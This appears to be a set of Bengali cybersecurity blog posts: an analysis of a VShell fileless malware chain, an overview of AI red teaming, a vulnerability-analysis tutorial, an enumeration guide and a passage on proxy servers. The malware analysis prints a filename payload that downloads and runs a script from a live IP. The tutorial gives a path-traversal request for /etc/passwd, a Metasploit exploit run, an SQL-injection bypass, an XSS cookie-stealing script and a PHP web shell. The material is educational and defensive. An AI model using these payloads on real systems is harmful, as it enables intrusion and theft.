Attack Chain

১ম ধাপঃ

Spam Email & Malicious RAR

• আক্রমণ শুরু হয় একটি স্প্যাম ইমেইল দ্বারা, যা “beauty product survey” আড়ালে একটি .rar আর্কাইভ পাঠানো হয়।

• এতে .rar-এর ভিতরে থাকে একটি ফাইল, যার নামই নিজে Bash কমান্ড execution ট্রিগার করে। ফাইল content ডি-কোড করে Bash-এ পাঠায়।

২য় ধাপঃ

Filename-based Payload Trigger

• Filename এর উদাহরণ:

ziliao2.pdf{echo,(curl -fsSL -m180 http://47.98.194.60:8084/slw||wget -T180 -q http://47.98.194.60:8084/slw)|sh}_{base64,-d}_bash

এটিতে রয়েছে:

• {echo,...} — Base64 payload echo করা,

• {base64,-d} — ডিকোড করা,

• _bash — decoded output Bash-এ পাঠানো।trellix.comCyber Security News

সাধারণ ls, eval "echo $f" ইত্যাদি শেল কমান্ড filename প্রসেসিংয়ের সময় এই কন্টেন্ট এক্সিকিউট করে।

৩য় ধাপঃ

Downloader Bash Script

• Filename-triggered shell execution প্রথমে একটি downloader Bash স্ক্রিপ্ট লোড করে:

  • এটি চেক করে /tmp, /usr/local/bin, /usr/libexec ইত্যাদি Writeable ডিরেক্টরিতে রান করার চেষ্টা করে।

  • uname -m কমান্ড ব্যবহার করে সিস্টেমের architecture (x86_64, ARM ইত্যাদি) সনাক্ত করা হয়।

  • architecture অনুযায়ী সঠিক ELF (Windows-এ যেভাবে .exe ফাইল থাকে, Linux/Unix-এ executable প্রোগ্রাম সাধারণত ELF binary আকারে থাকে) বাইনারি ডাউনলোড করে।

  • nohup ব্যবহার করে ব্যাকগ্রাউন্ডে চলার ব্যবস্থা করা হয়, স্ট্যান্ডার্ড আউটপুট/এরর সংরক্ষণ ছাড়া।

৪র্থ ধাপঃ

Memory-Only VShell Backdoor Execution

• ডাউনলোড করা ELF binary পূর্বনির্ধারিত C2 সার্ভার থেকে XOR (key: 0x99) এনক্রিপ্টেড VShell payload নেয়।

• এই payload মেমোরি-এ ডিকোড এবং fexecve() ব্যবহার করে চালানো হয়—ফাইল সিস্টেমে কখনো স্টোর হয় না।

• এই প্রক্রিয়ায় প্রক্রেস নাম [kworker/0:2]-এর মতো Legitimate - Linux kernel thread হিসেবে প্রদর্শিত হয়, ফলে detection কঠিন হয়।

সোর্স : https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/

AI Red Teaming হল একটি প্র্যাক্টিস যেখানে দক্ষ security experts একটি AI system-এ adversarial attacks অনুকরণ করে vulnerabilities সনাক্ত করেন, যা আক্রমণকারীরা ভবিষ্যতে কাজে লাগাতে পারে।

কেন AI Red Teaming জরুরি?

AI systems—LLMs বা Generative AI মডেলগুলোর মতো—নথিপত্রে opacity, প্রতিক্রিয়াশীলতা ও nondeterministic behavior থাকে। মানে, তাদের response বারবার ভিন্ন হতে পারে, যা traditional security পদ্ধতির বাইরে

মূল কারণসমূহ:

• adversarial prompts, data poisoning, model tampering বা bias-triggered ফলাফল সনাক্ত করতে সহায়তা করে ।

• real-world threat modelling সাপেক্ষে এটি AI models-এর robustness বৃদ্ধি করে।

• ভবিষ্যতে AI regulation—যেমন EU AI Act বা White House Executive Order 14110 অনুযায়ী—compliance নিশ্চিত করতে সহায়ক

• Subscribe now

Red Teaming-এর প্রক্রিয়া ও ব্যবহার ক্ষেত্র

১. Risk Identification: Expert team adversarial attack simulation করে hidden vulnerabilities খুঁজে বের করে—যেমন hallucination risk, harmful output বা privacy leak potential, যাতে দীর্ঘমেয়াদি risks প্রতিরোধ করা যায় ।

২. Resilience Building: Model exposure adversarial conditions বা high-stress inputs—ক্যামেরা মডিউল, prompt flood, multimodal streaming ইত্যাদিতে পরীক্ষা করে system প্রতিক্রিয়াগুলো রক্ষা করা হয়

৩. Ethical Behavior & Regulatory Alignment: bias testing, fairness ও toxic output detection করা হয় যাতে ethical compliance বজায় থাকে এবং GDPR বা CCPA-এর মতো privacy regulation লঙ্ঘন না হয়

৪. Supply-chain ও Integration Testing: AI pipeline components, third‑party library অথবা model serialization থেকে তৈরি হতে পারে supply‑chain vulnerabilities, যা red team আগে থেকেই ডিটেক্ট করতে পারে ।

৫. Multimodal ও Scenario‑specific Testing: Text, image, audio সহ multimodal AI systems-এ attack সিমুলেট করে cross-modal failure বা unpredictable interaction চিহ্নিত করা হয়

মানুষের + Automation-এর সমন্বয়:

OpenAI, Microsoft, Meta, Anthropic-এর মতো AI কোম্পানিগুলো continuous adversarial testing ব্যবহার করে, যেখানে human insight ও automated prompt‑generation একসাথে interleave করা হয় ।

Anthropic-এর MART (Multi-round Automatic Red-Teaming), Microsoft-এর PyRIT toolkit, OpenAI-এর external security expert network তিনি এই ক্ষেত্রে উল্লেখযোগ্য উদাহরণ।

OpenAI এবং অন্যান্যদের white papers AI red teaming-এর design ও limitations নিয়ে বিশ্লেষণ করেছে

Microsoft-এর অভিজ্ঞতা থেকে জানা যায়:

• ব্যাখ্যা পরিষ্কার হওয়া উচিত—system কী করতে পারে, কোথায় ব্যবহৃত হবে

• AI red teaming শুধুমাত্র adversarial test নয়; এটি responsible AI failures (bias, hallucination ইত্যাদি) সনাক্ত করতেও হয়

• Automation scalable হলেও human-in-loop উদ্বুদ্ধ ও গুরুত্বপূর্ণ

• Continuous cycle হিসেবে benchmark + red team loop প্রয়োজন যাতে নতুন আক্রমণ vector সময়োপযোগীভাবে সামলানো যায়

AI Red Teams হলো এমন বিশেষ security ইউনিট যারা ভাবতে পারে adversaries এর মতো করে—তারা AI systems এ vulnerabilities পরীক্ষা করে real-world threat মডেল তৈরি করে ও সংশোধনশীল পদক্ষেপ নির্ধারণ করে। traditional red teaming‑এর তুলনায় AI red teaming অনেক বেশি গভীরে গিয়ে “security + ethical + reliability” risk mitigation করে, যা সামগ্রিকভাবে AI deployment-কে safer, compliant, এবং trustworthy করে তোলে

• রেফারেন্সঃ

• Columbus, L. (2025). Red team AI now to build safer, smarter models tomorrow. [online] VentureBeat. Available at: https://venturebeat.com/security/red-team-ai-now-to-build-safer-smarter-models-tomorrow .

• ‌Owen-Jackson, C. (2024). Testing the limits of generative ai red teaming exposes vulnerabilities in ai models. [online] Ibm.com. Available at: https://www.ibm.com/think/insights/testing-the-limits-of-generative-ai-red-teaming-exposes-vulnerabilities-in-ai-models .

• Bajema, N. (2024). Why Are Large AI Models Being Red Teamed? [online] IEEE Spectrum. Available at: https://spectrum.ieee.org/red-team-ai-llms ].

• Patwa, R. (2025). The Expanding Role of Red Teaming in Defending AI Systems. [online] Protectai.com. Available at: https://protectai.com/blog/expanding-role-red-teaming-defending-ai-systems

• Masood, A. (2025). Red-Teaming Generative AI: Managing Operational Risk. [online] Medium. Available at: https://medium.com/%40adnanmasood/red-teaming-generative-ai-managing-operational-risk-ff1862931844

• Mindgard (2025). What is AI Red Teaming? [online] Mindgard.ai. Available at: https://mindgard.ai/blog/what-is-ai-red-teaming .

• ‌Rathi, K. and Mandanna Appanderanda Nanaiah (2025). What is ‘red teaming’ and how can it lead to safer AI? [online] World Economic Forum. Available at: https://www.weforum.org/stories/2025/06/red-teaming-and-safer-ai/ [Accessed 30 Jul. 2025].

• Bullwinkel, B., Minnich, A., Chawla, S., Lopez, G., Pouliot, M., Maxwell, W., Joris, de G., Pratt, K., Qi, S., Chikanov, N., Lutz, R., Raja, D., Jagdagdorj, B.-E., Kim, E., Song, J., Hines, K., Jones, D., Severi, G., Lundeen, R. and Vaughan, S. (2025). Lessons From Red Teaming 100 Generative AI Products. [online] arXiv.org. Available at: https://arxiv.org/abs/2501.07238 .

• ‌Ahmad, L., Agarwal, S., Lampe, M. and Mishkin, P. (2025). OpenAI’s Approach to External Red Teaming for AI Models and Systems. [online] arXiv.org. Available at: https://arxiv.org/abs/2503.16431? [Accessed 30 Jul. 2025].

ভালনারাবিলিটি অ্যানালাইসিস হল একটি সিস্টেমেটিক প্রক্রিয়া যার মাধ্যমে কম্পিউটার সিস্টেম, নেটওয়ার্ক এবং অ্যাপ্লিকেশনগুলির নিরাপত্তা দুর্বলতাগুলি চিহ্নিত, শ্রেণীবদ্ধ এবং অগ্রাধিকার দেওয়া হয়। এটি ইথিক্যাল হ্যাকিং এর একটি অপরিহার্য অংশ যা সংস্থাগুলিকে তাদের নিরাপত্তা অবস্থা বুঝতে এবং দুষ্কৃতকারীরা এগুলি ব্যবহার করার আগে দুর্বলতাগুলি মোকাবেলা করতে সাহায্য করে।

ভালনারাবিলিটি অ্যানালাইসিস এর ধাপসমূহ

১. তথ্য সংগ্রহ (Information Gathering)

এই ধাপে টার্গেট সিস্টেম সম্পর্কে যত বেশি সম্ভব তথ্য সংগ্রহ করা হয়।

উদাহরণ: ধরুন আপনি "example.com" ওয়েবসাইটের ভালনারাবিলিটি অ্যানালাইসিস করছেন। প্রথমে নিম্নলিখিত তথ্য সংগ্রহ করবেন:

# হোস্ট নাম এবং আইপি অ্যাড্রেস জানতে
$ nslookup example.com
Server:  192.168.1.1
Address: 192.168.1.1

Non-authoritative answer:
Name:    example.com
Address: 203.0.113.42

# সাবডোমেইন খুঁজতে
$ subfinder -d example.com
www.example.com
mail.example.com
online.example.com
career.example.com

২. স্ক্যানিং (Scanning)

টার্গেট সিস্টেম এর খোলা পোর্ট, চলমান সার্ভিস এবং সিস্টেম সম্পর্কে আরও বিস্তারিত তথ্য সংগ্রহ করতে স্ক্যান করা হয়।

উদাহরণ: Nmap দিয়ে স্ক্যান করে দেখা যাক:

# বেসিক পোর্ট স্ক্যান
$ nmap -sV example.com

Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for example.com (203.0.113.42)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.4
80/tcp   open  http        Apache 2.4.51
443/tcp  open  https       Apache 2.4.51
3306/tcp open  mysql       MySQL 8.0.27

এখান থেকে আমরা জানতে পারলাম যে ওয়েবসাইটটি Apache ওয়েব সার্ভার চালাচ্ছে, এছাড়াও SSH এবং MySQL পোর্ট খোলা আছে।

৩. দুর্বলতা খোঁজা (Vulnerability Identification)

সংগৃহীত তথ্য ব্যবহার করে সিস্টেমের সম্ভাব্য দুর্বলতাগুলি চিহ্নিত করা হয়।

উদাহরণ: OpenVAS বা Nessus এর মতো টুল ব্যবহার করে আমরা সিস্টেমের সম্ভাব্য দুর্বলতাগুলি খুঁজে বের করতে পারি।

# OpenVAS দিয়ে স্ক্যান করার উদাহরণ
$ openvas-cli --username admin --password 123456 --scan-start "example.com স্ক্যান" --target 203.0.113.42

# ফলাফল উদাহরণ
CVE-2021-41773: Apache 2.4.49 Path Traversal Vulnerability (High Risk)
CVE-2021-42013: Apache 2.4.50 Path Traversal Vulnerability (High Risk)
CVE-2021-3711: OpenSSL Vulnerability (Medium Risk)

৪. যাচাইকরণ (Verification)

খুঁজে পাওয়া দুর্বলতাগুলি সত্যিই বিদ্যমান কিনা তা যাচাই করা হয়। এতে ভুল পজিটিভ এড়ানো যায়।

উদাহরণ: Apache Path Traversal দুর্বলতা যাচাই করতে:

# কমান্ড লাইন থেকে পরীক্ষা
$ curl -v "http://example.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# যদি আউটপুট হিসেবে সার্ভারের /etc/passwd ফাইলের কন্টেন্ট দেখায়, তাহলে এটি একটি  দুর্বলতা

৫. রিপোর্টিং (Reporting)

সমস্ত খুঁজে পাওয়া দুর্বলতা, তাদের সম্ভাব্য প্রভাব এবং প্রতিকারের সুপারিশসহ একটি বিস্তারিত রিপোর্ট তৈরি করা হয়।

উদাহরণ:

রিপোর্ট: example.com ওয়েবসাইট ভালনারাবিলিটি অ্যাসেসমেন্ট

Vulnerability  #1: Apache Path Traversal (CVE-2021-41773)
গুরুত্ব: উচ্চ
বিবরণ: Apache 2.4.49 সংস্করণে একটি পাথ ট্রাভার্সাল দুর্বলতা আছে যা হ্যাকারদের সার্ভারে সংরক্ষিত সংবেদনশীল ফাইলগুলি অ্যাক্সেস করতে দেয়।
সমাধান: Apache ওয়েব সার্ভার সংস্করণ 2.4.51 বা আরও উচ্চতর সংস্করণে আপগ্রেড করুন।

Vulnerability #2: MySQL সার্ভারে ডিফল্ট পোর্ট খোলা
গুরুত্ব: মাঝারি
বিবরণ: MySQL সার্ভার ডিফল্ট পোর্ট 3306 এ খোলা আছে এবং ইন্টারনেট থেকে অ্যাক্সেসযোগ্য।
সমাধান: ফায়ারওয়াল কনফিগার করে MySQL পোর্ট শুধুমাত্র অনুমোদিত আইপি অ্যাড্রেস থেকে অ্যাক্সেসযোগ্য করুন।

বাংলাদেশের প্রেক্ষাপটে ভালনারাবিলিটি অ্যানালাইসিস-এর গুরুত্ব

বাংলাদেশে ডিজিটাল বাংলাদেশ গড়ার পথে বিভিন্ন সরকারি-বেসরকারি ওয়েবসাইট এবং অনলাইন সিস্টেম তৈরি হচ্ছে। এসব সিস্টেমের নিরাপত্তা নিশ্চিত করা অত্যন্ত গুরুত্বপূর্ণ। বিশেষ করে:

• বাংলাদেশের ব্যাংকিং সেক্টরে সাইবার আক্রমণের ঝুঁকি বেড়েছে (উদাহরণ: ২০১৬ সালে বাংলাদেশ ব্যাংকের SWIFT হ্যাকিং ঘটনা)

• সরকারি তথ্য সিস্টেমগুলিতে নাগরিকদের সংবেদনশীল তথ্য সংরক্ষিত থাকে

• ইন্টারনেট ব্যবহারকারীর সংখ্যা বেড়ে যাওয়ায় সাইবার হামলার লক্ষ্য হওয়ার সম্ভাবনা বেড়েছে

ভালনারাবিলিটি অ্যানালাইসিস টুলস

১. Nmap

# বেসিক স্ক্যান
$ nmap 192.168.1.1

# সার্ভিস ভার্সন ডিটেকশন
$ nmap -sV 192.168.1.1

২. Metasploit

$ msfconsole
msf5 > search apache 2.4
msf5 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf5 > set RHOSTS 192.168.1.100
msf5 > exploit

৩. Burp Suite

Burp Suite একটি গ্রাফিক্যাল টুল যা ওয়েব অ্যাপ্লিকেশন টেস্টিং এর জন্য ব্যবহৃত হয়। এটি দিয়ে:

• ওয়েব অ্যাপ্লিকেশনের HTTP রিকোয়েস্ট ইন্টারসেপ্ট করা যায়

• SQL ইনজেকশন টেস্ট করা যায়

• XSS (ক্রস সাইট স্ক্রিপ্টিং) টেস্ট করা যায়

সাধারণ ভালনারাবিলিটি (দুর্বলতা) এর উদাহরণ

১. SQL ইনজেকশন

এই দুর্বলতা দিয়ে একজন হ্যাকার ডাটাবেস থেকে অননুমোদিত তথ্য পেতে পারে।

উদাহরণ: সাধারণ লগইন ফর্মে:

ইউজারনেম: admin' OR '1'='1
পাসওয়ার্ড: 

এই ইনপুট দিলে SQL কোয়েরি হবে:

sql

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password=' '

যেহেতু '1'='1' সবসময়ই সত্য, তাই সিস্টেম অ্যাডমিন হিসেবে লগইন করবে।

২. ক্রস সাইট স্ক্রিপ্টিং (XSS)

হ্যাকার একটি ওয়েবসাইটে ম্যালিশিয়াস JavaScript কোড ইনজেক্ট করতে পারে।

উদাহরণ: কমেন্ট বক্সে:

<script>document.location='http://hackersite.com/steal.php?cookie='+document.cookie</script>

এই কোড অন্য ভিজিটরদের কুকি হ্যাকারের ওয়েবসাইটে পাঠাবে।

৩. ফাইল আপলোড ভালনারাবিলিটি

যদি সিস্টেম উপযুক্ত যাচাই ছাড়া ফাইল আপলোড করতে দেয়, হ্যাকার ম্যালিশিয়াস ফাইল আপলোড করতে পারে।

উদাহরণ:

<?php system($_GET['cmd']); ?>

এই PHP শেল ফাইল আপলোড করে হ্যাকার ওয়েব সার্ভারে কমান্ড চালাতে পারে।

সুরক্ষা বিষয়ক সুপারিশ

১. নিয়মিত আপডেট করুন: অপারেটিং সিস্টেম, সফটওয়্যার, প্লাগইন সবসময় আপডেটেড রাখুন।

২. শক্তিশালী পাসওয়ার্ড ব্যবহার করুন: কমপক্ষে ১২ অক্ষরের জটিল পাসওয়ার্ড ব্যবহার করুন।

৩. ফায়ারওয়াল কনফিগার করুন: অপ্রয়োজনীয় পোর্ট বন্ধ রাখুন।

৪. ইনপুট ভ্যালিডেশন: সমস্ত ইউজার ইনপুট যাচাই করুন।

৫. নিয়মিত ভালনারাবিলিটি স্ক্যান চালান: কমপক্ষে ত্রৈমাসিক ভিত্তিতে সিস্টেম পরীক্ষা করুন।

৬. লগ মনিটরিং: সিস্টেমের লগ নিয়মিত পর্যবেক্ষণ করুন।

৭. সর্বনিম্ন প্রিভিলেজ নীতি: ব্যবহারকারীদের কাজের জন্য শুধুমাত্র প্রয়োজনীয় অধিকার দিন।

ভালনারাবিলিটি অ্যানালাইসিস একটি চলমান প্রক্রিয়া যা নিয়মিত করা উচিত। সিস্টেমের সুরক্ষা নিশ্চিত করতে চাইলে শুধু একবার নয়, বরং নিয়মিত ভিত্তিতে এবং যেকোনো বড় পরিবর্তনের পর সিস্টেমের সুরক্ষা পরীক্ষা করুন। ইথিক্যাল হ্যাকিং জ্ঞান সঠিক উদ্দেশ্যে ব্যবহার করে সাইবার নিরাপত্তা নিশ্চিত করতে সাহায্য করুন।

ইনুমারেশন কি?

ইনুমারেশন হল একটি সক্রিয় পদ্ধতি যেখানে একজন ইথিক্যাল হ্যাকার সিস্টেম বা নেটওয়ার্কে প্রবেশের পর সিস্টেমের বিভিন্ন উপাদান সম্পর্কে নির্দিষ্ট তথ্য সংগ্রহ করে। এই তথ্যগুলি পরবর্তীতে দুর্বলতা চিহ্নিতকরণ এবং সম্ভাব্য আক্রমণ পরিকল্পনার জন্য ব্যবহার হয়। ইনুমারেশন পূর্ববর্তী পর্যায়গুলির তুলনায় আরও আক্রমণাত্মক এবং লক্ষ্য সিস্টেমের সাথে সক্রিয় মিথস্ক্রিয়া জড়িত।

ইনুমারেশনের উদ্দেশ্য

• ব্যবহারকারী অ্যাকাউন্ট তথ্য সংগ্রহ: সিস্টেমে বিদ্যমান ব্যবহারকারী এবং গ্রুপগুলির তালিকা পাওয়া।

• নেটওয়ার্ক রিসোর্স চিহ্নিতকরণ: শেয়ার করা ফোল্ডার, প্রিন্টার এবং অন্যান্য নেটওয়ার্ক সম্পদগুলি খুঁজে বের করা।

• নেটওয়ার্ক সার্ভিস চিহ্নিতকরণ: চালু থাকা সার্ভিসগুলি, তাদের ভার্সন এবং কনফিগারেশন সনাক্ত করা।

• সিস্টেম আর্কিটেকচার সম্পর্কে তথ্য: অপারেটিং সিস্টেম, ডিভাইস এবং তাদের কনফিগারেশন সম্পর্কে বিস্তারিত তথ্য পাওয়া।

• সুরক্ষা ব্যবস্থা চিহ্নিতকরণ: ফায়ারওয়াল, অ্যান্টিভাইরাস বা অন্যান্য সুরক্ষা সমাধান সম্পর্কে জানা।

ইনুমারেশনের প্রকারভেদ

অপারেটিং সিস্টেম ইনুমারেশন

এই প্রক্রিয়ায় অপারেটিং সিস্টেম সম্পর্কে নির্দিষ্ট তথ্য সংগ্রহ করা হয়, যেমন:

• অপারেটিং সিস্টেমের ধরন (Windows, Linux, macOS)

• সিস্টেম আপডেট এবং প্যাচ লেভেল

• ইনস্টল করা সফটওয়্যার এবং অ্যাপ্লিকেশন

• সিস্টেম কনফিগারেশন

নেটওয়ার্ক ইনুমারেশন

নেটওয়ার্ক সম্পর্কিত তথ্য সংগ্রহ করা, যার মধ্যে অন্তর্ভুক্ত:

• নেটওয়ার্ক টপোলজি

• রাউটিং তথ্য

• ফায়ারওয়াল কনফিগারেশন

• ব্যবহৃত প্রোটোকল

• নেটওয়ার্ক ডিভাইসেস

ইউজার ইনুমারেশন

সিস্টেমে বিদ্যমান ব্যবহারকারী অ্যাকাউন্ট সম্পর্কে তথ্য সংগ্রহ করা:

• ব্যবহারকারী নাম

• গ্রুপ মেম্বারশিপ

• পাসওয়ার্ড পলিসি

• এডমিনিস্ট্রেটিভ অ্যাকাউন্ট

• ডিফল্ট অ্যাকাউন্ট

সার্ভিস ইনুমারেশন

সিস্টেমে চলমান সার্ভিস সম্পর্কে তথ্য সংগ্রহ:

• চালু থাকা পোর্টগুলি

• রানিং সার্ভিসের ধরন এবং ভার্সন

• ওয়েব সার্ভার, ডাটাবেস সার্ভার, মেইল সার্ভার ইত্যাদি

• সার্ভিস কনফিগারেশন

ইনুমারেশন টেকনিক এবং টুলস

Windows সিস্টেমে ইনুমারেশন

ব্যবহৃত কমান্ড এবং টুল:

• net কমান্ড - net user, net group, net share

• nbstat - NetBIOS তথ্য সংগ্রহ করতে

• nslookup - DNS তথ্য পাওয়ার জন্য

• nltest - ডোমেইন কন্ট্রোলার এবং সিস্টেম তথ্য

উদাহরণ কোড:

# ব্যবহারকারী তালিকা পাওয়া
net user

# লোকাল গ্রুপ দেখা
net localgroup

# নেটওয়ার্ক শেয়ার দেখা
net share

# DNS তথ্য পাওয়া
nslookup hostname

Linux সিস্টেমে ইনুমারেশন

ব্যবহৃত কমান্ড এবং টুল:

• finger - লগইন ব্যবহারকারী তথ্য

• showmount - NFS শেয়ার দেখার জন্য

• rpcinfo - RPC সার্ভিস তথ্য

• ls, cat, grep - ফাইল এবং ডিরেক্টরি পরীক্ষা করা

উদাহরণ কোড:

# সিস্টেমে লগইন করা ব্যবহারকারীরা
who

# সিস্টেম তথ্য
uname -a

# ব্যবহারকারী তালিকা
cat /etc/passwd | cut -d: -f1

# চালু থাকা সার্ভিস
service --status-all
systemctl list-units --type=service

নেটওয়ার্ক ইনুমারেশন টুলস

• Nmap: পোর্ট স্ক্যানিং এবং সার্ভিস ডিটেকশন

# সার্ভিস এবং ভার্সন ডিটেকশন স্ক্যান
nmap -sV 192.168.1.1

# অপারেটিং সিস্টেম ডিটেকশন
nmap -O 192.168.1.1

• Enum4linux: Windows এবং Samba সিস্টেম ইনুমারেশন টুল

# পূর্ণ ইনুমারেশন
enum4linux -a 192.168.1.1

• SNMP ইনুমারেশন:

# SNMP ইনুমারেশন
snmpwalk -c public -v1 192.168.1.1

• DNS ইনুমারেশন:

# ডোমেন ট্রান্সফার
dig axfr @nameserver domainname

# সাবডোমেইন খোঁজা
dnsrecon -d domainname

সাধারণ ইনুমারেশন টার্গেট

ডোমেইন নেম এবং DNS

• নেমসার্ভার

• সাবডোমেইন

• জোন ট্রান্সফার

SNMP (Simple Network Management Protocol)

• সিস্টেম তথ্য

• নেটওয়ার্ক কনফিগারেশন

• ইনস্টল করা সফটওয়্যার

SMTP (Simple Mail Transfer Protocol)

• ব্যবহারকারী তথ্য

• মেইল সার্ভার কনফিগারেশন

SMB (Server Message Block)

• ফাইল শেয়ার

• প্রিন্টার

• ব্যবহারকারী এবং গ্রুপ

LDAP (Lightweight Directory Access Protocol)

• ডিরেক্টরি সার্ভিস

• ব্যবহারকারী তথ্য

• সিস্টেম কনফিগারেশন

ইনুমারেশন দুর্বলতা চিহ্নিতকরণ

ইনুমারেশন প্রক্রিয়ায় নিম্নলিখিত দুর্বলতাগুলি চিহ্নিত করা হয়:

• ডিফল্ট পাসওয়ার্ড এবং অ্যাকাউন্ট

• মিসকনফিগারেশন

• অপ্রয়োজনীয় সার্ভিস

• আনপ্যাচড সফটওয়্যার

• অসুরক্ষিত প্রোটোকল

• নেটওয়ার্ক শেয়ারের অনুমতি সম্পর্কিত সমস্যা

ইনুমারেশন প্রতিরোধ করার উপায়

একজন সিস্টেম অ্যাডমিনিস্ট্রেটর হিসেবে আপনি নিম্নলিখিত পদক্ষেপগুলি নিয়ে ইনুমারেশন প্রতিরোধ করতে পারেন:

• প্রয়োজনীয় সার্ভিস ছাড়া সব বন্ধ রাখা

• ফায়ারওয়াল নিয়ম সঠিকভাবে কনফিগার করা

• শক্তিশালী পাসওয়ার্ড নীতি বাস্তবায়ন করা

• লিস্ট অফ ইউজার্স (ব্যবহারকারী তালিকা) প্রকাশ না করা

• অপ্রয়োজনীয় প্রোটোকল বন্ধ রাখা

• নিয়মিত সিস্টেম আপডেট করা

• নেটওয়ার্ক মনিটরিং এবং লগিং সিস্টেম ব্যবহার করা

শেষ কথা

ইনুমারেশন একটি শক্তিশালী টেকনিক যা ইথিক্যাল হ্যাকিং এবং পেনিট্রেশন টেস্টিংয়ে অত্যন্ত গুরুত্বপূর্ণ। এই প্রক্রিয়ায় সংগৃহীত তথ্য সঠিকভাবে ব্যবহার করে একটি সফল অ্যাটাক ভেক্টর তৈরি করা যায়। একজন দক্ষ ইথিক্যাল হ্যাকার হিসেবে, ইনুমারেশন টেকনিক বুঝতে এবং ব্যবহার করতে পারা অত্যন্ত গুরুত্বপূর্ণ। একই সাথে, সিস্টেম অ্যাডমিনিস্ট্রেটর হিসাবে এই টেকনিকগুলি বুঝে সিস্টেম সুরক্ষিত করতে সক্ষম হওয়া আবশ্যক।

ইনুমারেশন দুর্বলতা চিহ্নিতকরণের প্রথম পদক্ষেপ, এবং একটি সফল পেনিট্রেশন টেস্টের ভিত্তি হিসাবে কাজ করে। ধৈর্য, পদ্ধতিগত পরিকল্পনা, এবং সঠিক টুল ব্যবহার করে ইনুমারেশন সম্পন্ন করলে তা সিস্টেমের সুরক্ষা উন্নত করতে সাহায্য করে।

একটি প্রোক্সি সার্ভার হল একটি মধ্যস্থ সার্ভার যা ক্লায়েন্ট (যেমন একটি ওয়েব ব্রাউজার) এবং গন্তব্য সার্ভারের (যেমন একটি ওয়েবসাইট) মধ্যে অবস্থান করে। যখন আপনি একটি রিসোর্স (যেমন একটি ওয়েবসাইট) অ্যাক্সেস করতে অনুরোধ করেন, তখন প্রথমে আপনার অনুরোধটি প্রোক্সি সার্ভারের কাছে পৌঁছায়। প্রোক্সি সার্ভার পরে আপনার পক্ষে সেই অনুরোধটি গন্তব্য সার্ভারে পাঠায়, তারপরে সার্ভার থেকে প্রাপ্ত প্রতিক্রিয়া আবার আপনার কাছে পাঠিয়ে দেয়। এক কথায়, প্রোক্সি সার্ভার হল ক্লায়েন্ট এবং ইন্টারনেটের মধ্যে একটি গেটওয়ে।

প্রোক্সি সার্ভারের কার্যাবলী:

গোপনীয়তা এবং অজ্ঞাতনামা: প্রোক্সি সার্ভার ক্লায়েন্টের আইপি এড্রেস গোপন করে, যা গোপনীয়তা এবং অজ্ঞাতনামা প্রদান করে।

অ্যাক্সেস কন্ট্রোল: প্রোক্সি সার্ভারগুলি পূর্বনির্ধারিত নিয়ম অনুসারে নির্দিষ্ট ওয়েবসাইট বা সেবা অ্যাক্সেস ব্লক করতে পারে।

ক্যাশিং: প্রায়শই অ্যাক্সেস করা ডেটা প্রোক্সি সার্ভার দ্বারা ক্যাশ করা যেতে পারে, যা গতি উন্নত করে এবং ব্যান্ডউইথ ব্যবহারের পরিমাণ কমায়।

কন্টেন্ট ফিল্টারিং: প্রোক্সি সার্ভারগুলি নির্দিষ্ট ধরনের কন্টেন্ট ব্লক বা সীমাবদ্ধ করতে পারে।

ভৌগোলিক বাধা পার করা: ব্যবহারকারীরা প্রোক্সি সার্ভার ব্যবহার করে অঞ্চলভিত্তিক কনটেন্টের উপর বাধা এড়াতে পারেন, তাদের ট্র্যাফিক বিভিন্ন অবস্থানে থাকা সার্ভারগুলো দিয়ে পাঠিয়ে।

প্রোক্সি সার্ভারের প্রকার:

ফরওয়ার্ড প্রোক্সি: এটি একটি প্রচলিত প্রোক্সি যা ক্লায়েন্টের অনুরোধ গন্তব্য সার্ভারে ফরওয়ার্ড করে।

রিভার্স প্রোক্সি: এটি একটি ওয়েব সার্ভারের সামনে অবস্থান করে এবং পিছনে থাকা একাধিক সার্ভারের কাছে অনুরোধ ফরওয়ার্ড করে, সাধারণত লোড ব্যালেন্সিং, নিরাপত্তা এবং ক্যাশিংয়ের জন্য ব্যবহৃত হয়।

ট্রান্সপারেন্ট প্রোক্সি: এটি অনুরোধ বা প্রতিক্রিয়া পরিবর্তন না করে সাধারণত ক্যাশিং বা কন্টেন্ট ফিল্টারিংয়ের জন্য ব্যবহৃত হয় এবং ক্লায়েন্ট সাইড কনফিগারেশন প্রয়োজন হয় না।

প্রোক্সি চেইনিং

প্রোক্সি চেইনিং হল একাধিক প্রোক্সি সার্ভার ব্যবহার করে ইন্টারনেট ট্র্যাফিক রুট করার প্রক্রিয়া। একটিই প্রোক্সি সার্ভারের পরিবর্তে, আপনার অনুরোধ একাধিক প্রোক্সি সার্ভারের মাধ্যমে চলে, যা সংযোগের গোপনীয়তা এবং নিরাপত্তা বাড়ায়।

কিভাবে প্রোক্সি চেইনিং কাজ করে:

• ধাপ ১: ব্যবহারকারী প্রথম প্রোক্সি সার্ভারে একটি অনুরোধ পাঠায়।

• ধাপ ২: প্রথম প্রোক্সি অনুরোধটি দ্বিতীয় প্রোক্সি সার্ভারে ফরওয়ার্ড করে, যা তার নিজস্ব চেক বা পরিবর্তন করতে পারে।

• ধাপ ৩: দ্বিতীয় প্রোক্সি গন্তব্য সার্ভারে অনুরোধটি ফরওয়ার্ড করে।

• এর পর, প্রতিক্রিয়া একই পথ দিয়ে বিপরীত দিকে চলে, প্রথম প্রোক্সি থেকে দ্বিতীয় প্রোক্সি এবং তারপর ব্যবহারকারীর কাছে পৌঁছায়।

প্রোক্সি চেইনিংয়ের উপকারিতা:

বর্ধিত অজ্ঞাতনামা: চেইনের প্রতিটি প্রোক্সি ব্যবহারকারীর আসল আইপি এড্রেস গোপন রাখে, যার ফলে ট্রাফিক ব্যবহারকারীর কাছে ট্রেস করা কঠিন হয়ে পড়ে।

নিরাপত্তা ব্যবস্থাগুলি বাইপাস করা: একাধিক প্রোক্সি মাধ্যমে ট্র্যাফিক রুট করে, ব্যবহারকারী একাধিক নিরাপত্তা স্তর পার করতে পারে, যেমন ফায়ারওয়াল, সেন্সরশিপ বা ভূগোলভিত্তিক বিধিনিষেধ।

